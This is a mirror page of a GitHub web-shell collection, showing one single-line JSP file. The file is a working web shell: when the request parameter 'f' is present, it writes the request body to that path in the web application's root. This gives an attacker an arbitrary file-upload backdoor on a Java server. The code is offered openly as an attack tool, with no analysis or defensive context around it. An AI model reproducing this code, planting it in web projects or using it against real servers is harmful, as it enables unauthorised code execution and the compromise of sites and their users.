mirror of
https://github.com/tennc/webshell
synced 2024-11-23 03:33:03 +00:00
1 line
306 B
Text
1 line
306 B
Text
|
<%@page import="java.io.*"%><%if(request.getParameter("f")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath("/")+request.getParameter("f"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}%>
|